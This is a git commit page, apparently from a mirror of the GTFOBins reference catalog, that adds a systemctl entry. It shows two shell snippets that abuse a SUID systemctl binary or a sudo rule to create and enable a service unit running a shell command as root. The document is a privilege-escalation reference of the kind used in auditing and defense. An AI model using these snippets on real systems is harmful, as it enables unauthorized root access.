1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add systemctl

This commit is contained in:
bstapes 2019-01-29 05:12:29 -08:00 committed by Andrea Cardaci
parent 0109792b7e
commit a2886b643d

23
_gtfobins/systemctl.md Normal file

@ -0,0 +1,23 @@
---
functions:
suid:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
---